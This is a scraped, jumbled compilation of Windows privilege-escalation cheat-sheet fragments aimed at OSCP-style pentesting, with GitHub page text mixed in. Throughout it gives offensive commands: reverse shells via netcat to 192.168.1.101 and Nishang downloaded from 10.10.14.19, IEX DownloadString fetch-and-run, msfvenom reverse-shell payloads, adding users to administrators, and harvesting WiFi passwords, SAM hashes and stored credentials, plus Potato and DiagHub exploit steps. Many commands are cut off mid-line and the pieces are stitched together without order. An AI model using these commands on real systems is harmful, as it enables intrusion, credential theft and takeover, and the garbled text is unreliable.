For C:\Program Files\something\legit.exe, Windows will try the following paths first: List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits. So if we find a file without quotes, like below, it’s vulnerable: C:\Program Files\Some Folder\1\Service.exe. Hot Potato (aka: Potato) takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM … It is not interesting to document intended use cases. The HKLM\SYSTEM\CurrentControlSet\Services registry tree stores information about each service on the system. GitHub Gist: instantly share code, notes, and snippets. A attacker authenticates to a domain and gets a ticket-granting-ticket (TGT) from the domain controller that’s used for later ticket requests. Getting a Reverse TCP Powershell Shell with Nishang: # You have a cmd.exe shell but want a powershell: ## Start a Python HTTP Server in Nishang/Shells, 'http://10.10.14.19/Invoke-PowerShellTcp.ps1', 'C:\Users\Public\Invoke-PowersShellTcp.ps1'. A loop that iterated over all the users in users.txt and tries all the passwords listed inpass.txt . ssh -L 10000:localhost:10000 [email protected] pip install impacket. ⚠️ 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview. Have extra "unexpected" functionality. Name Difficulty Skills Guessy? # Check the permissions on the list of services: ## This will give us the paths, we can not run cacls "path" on each of them. py msfvenom -p windows / shell_reverse_tcp LHOST = 10.10. The windows privesc arena has more detailed explanations of these techniques, this is only to document the … List logon requirements; useable for bruteforcing, Get details about a user (i.e. lpeworkshop being one of those, lacks a good walkthrough. Then create an MSI package and install it. To cross compile a program from Kali, use the following command. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first. Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt". accesschk.exe -uwdqs “Authenticated Users” c:\. On Kali host: Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind, JAWS - Just Another Windows (Enum) Script, winPEAS - Windows Privilege Escalation Awesome Script, Windows Exploit Suggester - Next Generation (WES-NG), PrivescCheck - Privilege Escalation Enumeration Script for Windows, https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md, https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md, https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md, https://github.com/SecWiki/windows-kernel-exploits, https://github.com/foxglovesec/RottenPotato, https://github.com/breenmachine/RottenPotatoNG, https://github.com/ohpe/juicy-potato/releases, https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag, https://github.com/decoder-it/diaghub_exploit, https://packetstormsecurity.com/files/14437/hhupd.exe.html, https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege, Privilege Escalation Windows - Philip Linghammar, Windows elevation of privileges - Guifre Ruiz, The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte, Windows Privilege Escalation Fundamentals, TOP–10 ways to boost your privileges in Windows systems - hackmag, Windows Privilege Escalation Guide - absolomb's security blog, Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs, Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell, Pentestlab.blog - WPE-01 - Stored Credentials, Pentestlab.blog - WPE-02 - Windows Kernel, Pentestlab.blog - WPE-04 - Weak Service Permissions, Pentestlab.blog - WPE-07 - Group Policy Preferences, Pentestlab.blog - WPE-08 - Unquoted Service Path, Pentestlab.blog - WPE-09 - Always Install Elevated, Pentestlab.blog - WPE-10 - Token Manipulation, Pentestlab.blog - WPE-11 - Secondary Logon Handle, Pentestlab.blog - WPE-12 - Insecure Registry Permissions, Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @, Living Off The Land Binaries and Scripts (and now also Libraries), Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec, Local Privilege Escalation Workshop - Slides.pdf - @sagishahar, Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018, Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019, Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows, - May be more interesting if you can read %WINDIR%\MEMORY.DMP, Create arbitrary token including local admin rights with. Can be used with the net user /domain command listed above for every user in the domain. MSSqlSvc/SQL.domain.com. CVE-2015-0057 exploits GUI component of Windows namely the scrollbar element - allows complete control of a Windows machine Windows Server 2003: CVE-2008-4114 ms09_001_write - exploits a denial of service vulnerability in the SRV.SYS driver - DoS Look for scheduled tasks, devtools etc. With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Check if these registry values are set to "1". Launch PowerShell/ISE with the SeRestore privilege present. administrators). Can my metasploit allowance be used for ”getsystem” command in order to escalate? C:\Users\KILLSWITCH-GUI>net start These Windows services are started: Advanced SystemCare Service 10 Application Information Application Management Background Intelligent Transfer Service Background Tasks Infrastructure Service Base Filtering Engine cFosSpeed System Service CNG Key Isolation COM+ Event System Computer Browser Connected Devices Platform Service Connected Devices Platform … Netcat is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. Oneliner method to extract wifi passwords from all the access point. First of all, we connect to he ftp server: $ ftp 10.10. An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. . Work fast with our official CLI. Before starting, I would like to point out - I'm no expert. Transfer the file back to kali to be run against the python exploit suggester. If you can't use Metasploit and only want a reverse shell. Look for permissions on files/folders if can be changed. File paths that are properly quoted are treated as absolute and therefore mitigate this vulnerability. Check if these 2 registry values are set to “1”: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v … Then crack it with john -format=NT /root/sam.txt. Windows: Elevating Privs by exploiting weak folder permissions, Windows: Priv-Esc Fundamentals – Fuzzy Security, [Tool] Windows: Priv-Esc Exploit Suggestor, Windows Privilege Escalation Encyclopedia by Insomnia Security. # Look for tasks that are run by a privileged user and run a binary that we can overwrite: # Copy and paste into a linux terminal and look for System: "C:\Inetpub\nc.exe 192.168.1.101 6666 -e c:\Windows\system32\cmd.exe", msfvenom -p windows/shell_reverse_tco -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe. All Windows services have a Path to its executable. Using accesschk from Sysinternals or accesschk-XP.exe - github.com/phackt, Technique borrowed from Warlockobama's tweet. No problem just set the default user to root W/ .exe --default-user root. Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe, Alternatively you can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\. Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/. Look for vuln drivers loaded, we often don't spend enough time looking at this: Use the cmdkey to list the stored credentials on the machine. by Joshua. Not being updated. # Check for Service Permissions by Auth-Type: # If you find one that has weak permissions: #We might be able to overwrite the binary the service is pointing to. %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%, wmic service get name,displayname,startmode,pathname | findstr /i /v, =========================================. Select Release config and x64 architecure. The Metasploit module post/windows/gather/enum_unattend looks for these files. 1. Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul. Pretty much where I have pulled most of this content. It happens when a developer fails to enclose the file path in quotes if that path has a space. Workflow. Unattend credentials are stored in base64 and can be decoded manually with base64. Windows-PrivEsc-Setup. May require SeImpersonate. 'KiTrap0D' User Mode to Ring Escalation (MS10-015), Check if the patch is installed : wmic qfe list | findstr "3139914". This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. If nothing happens, download GitHub Desktop and try again. Generate a hash file for John using pwdump or samdump2. This command can be used locally to get System privileges since the at system executes commands as system. Execute JuicyPotato to run a privileged command. Examine ALL the binpaths for the windows services, scheduled tasks and startup tasks. So if we have write access on some target directory we can write a file on that directory: This setting installs all .msi packages with system privileges for everyone. To do this we run: First we check what time it is on the local machine: Basic Powershell Commands within CMD.exe: Download a File (Similar to Linux’s WGET): # Download a file (Similar to Linux's WGET), 'http://10.10.14.19:1234/rottenpotato.exe', 'IEX(New-Object Net.WebClient).DownloadString(“http:///full_path/script_name.ps1”)'. The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. OSCE. Command Reference: Use Git or checkout with SVN using the web URL. Learn more . The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The attacker uses their TGT to issue a service ticket request (TGS-REQ) for a particular servicePrincipalName (SPN) of the form sname/host, e.g. Don't know the root password? On of the variables is the location of the service binary. Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. Plan of Action. A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. Out of these, just DLL hijacking (which requires GUI) and unquoted service paths are non-kernel priv escs methods. Certifications. Windows Priv-Esc Exploit Suggestor: Github Repository is linked above but, if you’re lazy, here it is again. 10.3. ⚠️ Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809 +. databases). However, I still want to create my own cheat sheet of this difficult topic along my OSCP journey as I didn’t know anything about Windows Internal : (. Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files. Windows Privilege Escalation. To date, we've reviewed techniques such as shellcode loading and encryption, circumventing detection, and building in our own syscalls. If you have a GUI with a user that is included in Administrators group you first need to open up cmd.exefor the administrator. Binary available at : https://github.com/breenmachine/RottenPotatoNG. This is simply my finding, typed up, to be shared (my starting point). this is going to be a walkthrough of the Alfred machine from TryHackMe . In this writeup, we will take a look at file transfer over smb and http, how to migrate to PowerShell from a standard cmd shell and lpeworkshop … Using runas with a provided set of credential. And if you rightclick and do Run as Administrator you might need to know the Administrators password. Simply use a DLL written in C++ in which DLLMain contains malicious code or points to a malicious function in the code such as a shellcode loader or downloader/executor. PentestMonkey Windows-privesc-check is standalone executable that runs on Windows systems. This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32 directory. JustTryHarder Permalink. Check the PowerShell history file type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt Metasploit getsystem for Windows Priv Esc. On Windows Host: systeminfo > systeminfo.txt. Privilege Escalation on Windows 7,8,10, Server 2008, Server 2012 … and a new network attack How it works. From here we want to become SYSTEM user. Tib3rius Windows Privilege Escalation course. Transfer the file back to kali to be run against the python exploit suggester. The sticky notes app stores it's content in a sqlite db located at C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite, Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher. # Upload the shell to the Windows host using whatever method tickles your fancy and run: #----------------------------------------------------#, # Secondary MSI Payload: #. Date; Vulnhub: HappyCorp-1: Easy: NFS, Restricted Shell Breakout, SUID priv esc, awesome box for beginners: N: JAN 21: Vulnhub: Katana local exploit for Windows platform Find all weak folder permissions per drive. ⚠️ Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs. CVE-2019-1405CVE-2019-1322 . accesschk.exe -uwdqs Users c:\. Attack may be detected by some AV software. JustTryHarder, a cheat sheet which will aid you through the PWK course & the OSCP Exam. in assembly, C++, Defender Bypass, EDR Bypass, Shellcode Loader, syscalls. The following command will run all priv esc checks and store the output in a file. HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script). You can replace the binary, restart the service and get system. Basic Linux Privilege Escalation. # Get a list of services and store to file: 'wmic service list full^|find /i "pathname"^|find /i /v "system32"'. Binary available at : https://github.com/ohpe/juicy-potato/releases execute on Windows machine and set the following filters. List all network interfaces, IP, and DNS. Windows Privilege Escalation. SEH is a mechanism within Windows that makes use of a data structure/layout called a Linked List which contains a sequence of memory locations. Binary available at : https://github.com/foxglovesec/RottenPotato As far as I know, there isn't a "magic" answer, in this huge area. It uses the output of systeminfo and compares it against the Microsoft vulnerability database, which is automatically downloaded and stores as a spreadsheet. https: // raw.githubusercontent.com / jivoi / pentest / master / exploit_win / ms08-067. If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation. WindowsEnum - A Powershell Privilege Escalation Enumeration Script. Your codespace will open once ready. Windows… Not my strongest area when it comes to priv escalation, let alone without relying on the lovely tool set of metasploit. 10.10 LPORT = 443 EXITFUNC = thread -b " \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40 "-f py -v shellcode -a x86 --platform windows Example: MS08_067_2018.py 192.168. Check the vulnerability with the following nmap script. 1 Comment. If that is the case, maybe you can make a remote forward to access it. Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion. CVE-2017-7199 : Nessus Agent 6.6.2 – 6.10.3 Priv Esc The output of this tool can be seen below: Sherlock – Missing Patches Sherlock – Identification of Privilege Escalation Patches cmdkey /list. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon", "HKCU\Software\SimonTatham\PuTTY\Sessions". JAWS is PowerShell script designed to help penetration testers quickly identify potential privilege escalation vectors on Windows systems. Search for a file with a certain filename, Search the registry for key names and passwords, Example with Windows 10 - CVE-2019-1322 UsoSvc, #Security Bulletin #KB #Description #Operating System, EoP - From local administrator to NT SYSTEM, EoP - Living Off The Land Binaries and Scripts, Juicy Potato (abusing the golden privileges), EoP - Common Vulnerabilities and Exposure, MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7, MS11-080 (afd.sys) - Microsoft Windows XP/2003, MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012, MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64), EoP - Common Vulnerabilities and Exposures, Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock, (Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities, BeRoot - Privilege Escalation Project - Windows / Linux / Mac, windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems. cacls (Windows XP). The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques. # Now that you have downloaded the file, we need to import and execute: # How to import and use PETools from Powersploit, ## Easiest way to move data is via a Python HTTP server to. Metasploit modules to exploit MS08-067 NetAPI. Disclaimer: none of the below includes spoilers for the PWK labs / OSCP Exam. SEH. Egghunting. Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. OSCP OSWP OSEP OSWE OSED OSEE KLCP. @tiraniddo). Any illegal use is your responsibility as is learning the laws in your country, state, province or county and abiding by them. Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication), Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object. This will give you a cmd with Administrators rights. WindowsExploits - Windows exploits, mostly precompiled. Windows; SharpUp.exe is part of the GhostPack suite of tools and is a C# port of PowerUp that will perform numerous privilege escalation checks. Application running as SYSTEM allowing an user to spawn a CMD, or browse directories. If it fails because of a missing dependency, try the following commands. #Check to see if the user has been added to host machine. Note that this approach is very similar to the BinPath way, but this time we use the registry instead of the sc command line utility. # Port forward using plink plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080 # Port forward using meterpreter portfwd add -l -p -r portfwd add -l 3306 -p 3306 … 10.3 6200. id \n <-- no response -->. You signed in with another tab or window. Which you might not know. Just a little compilation of a few of my favorite resources for non metasploit windows priv esc using precompiled .exe’s and priv checkers. It is written using PowerShell 2.0 and as such ‘should’ run on every Windows version since Windows 7. Exceptions are application whitelisting bypasses, Have functionality that would be useful to an APT or red team. Based on the output, the tool lists public exploits (E) and Metasploit modules (M). administrator, admin, current user), Get details about a group (i.e. The basics really. powershell -ep bypass (execution bypass) Often, services are pointing to writeable locations: Orphaned installs, not installed anymore but still exist in startup, Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions, Note to check file permissions you can use cacls and icacls, icacls (Windows Vista +) Weaponizing for privileged file writes bugs with Windows problem reporting. PATH contains a writeable folder with low privileges. /quiet = Suppress any messages to the user during installation/qn = No GUI/i = Regular (vs. administrative) installation. getsystem. You are looking for BUILTIN\Users:(F)(Full access), BUILTIN\Users:(M)(Modify access) or BUILTIN\Users:(W)(Write-only access) in the output. Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem. Not many people talk about serious Windows privilege escalation which is a shame. If nothing happens, download GitHub Desktop and try again. If nothing happens, download Xcode and try again. This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only. Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. Because (in this example) "C:\Program Files\nodejs" is before "C:\WINDOWS\system32" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder. (Inspired by PayloadAllTheThings) Feel free to submit a Pull Request & leave a star to share some love if this helped you. Powerview.ps1 – Queries the Domain Controller and attempts to check if you (current Windows user) have admin privileges on other hosts. Manipulate tokens to have local admin rights included. # Now we set the time we want the system CMD to start. Training. AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.. Windows Exploit Suggester is a tool to identify missing patches and associated exploits on a Windows host. Check Program Files for Writeable Objects: Check for AlwaysInstallElevated Group Policy Setting: # REG_DWORD 0x01 signifies that yes, AlwaysInstall Elevated is set and on, #---------------------------------------------------#, # Initial MSI Payload: #. Disclaimer: Use this information only in a controlled manner and only on systems you have permission to use. In the Windows boxes I have done, privilege escalation is either typically not needed or Kernel exploits are used. # Look for local services that are listening: # Use the new database against the systeminfo.txt. If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll into C:\Windows\Sytem32\ and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITY\System. The following example is calling a remote binary via an SMB share. Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation. Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName, List firewall state and current configuration. Replace the binaries/DLLs if possible. Aug 21, 2019. Then you can use runas with the /savecred options in order to use the saved credentials. Then, before introducing the password (having put a user with a smiley face ‘:)’ ), we open a nc socket connection, to try to connect and execute commands after introducing the password, but no response is given. If so, we can psexec to get Admin. ## get all of the data in the PETools Directory to the Victim. If you open up the cmd that is in Accessories it will be opened up as a normal user. OSCP Windows PrivEsc - Part 1 5 minute read As stated in the OSCP Review Post, I came across many good resources for Linux Privilege Escalation but there were just a few for Windows. Windows Priv Esc for Exams. So instead you open up the cmd from c:\windows\system32\cmd.exe. When we can change the service binary to our executable, we are king. Default powershell locations in a Windows system. Github Repository is linked above but, if you’re lazy, here it is again. Hi guys, I’m not really that familiar with metasploit as I was avoiding it’s usage during my lab time but let’s say I got stuck on Windows Priv Esc during exam. # We add a user in windows and create a secondary payload to add to administrators: 'net localgroup administrators lokii /add'. DLL .\x64\Release\WindowsCoreDeviceInfo.dll, Use the loader and wait for the shell or run. Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html, Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege. The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. Probably one minuter after the time. $ nc 10.10. There is a ton of great resources of privilege escalation techniques on Windows. Starting with Windows 10 1803 (April 2018 Update) the curl command has been implemented which gives another way to transfer files and even execute them in memory.Piping directly into cmd will run most things but it seems like if you have anything other than regular commands in your script, ie loops, if statements etc, it doesn’t run them correctly. Using Procmon.exe to check for “NAME NOT FOUND” dll’s: # Check to see if UPNPHOST is running and its dependencies. Now start your bind shell or reverse. The default payload will run C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe.
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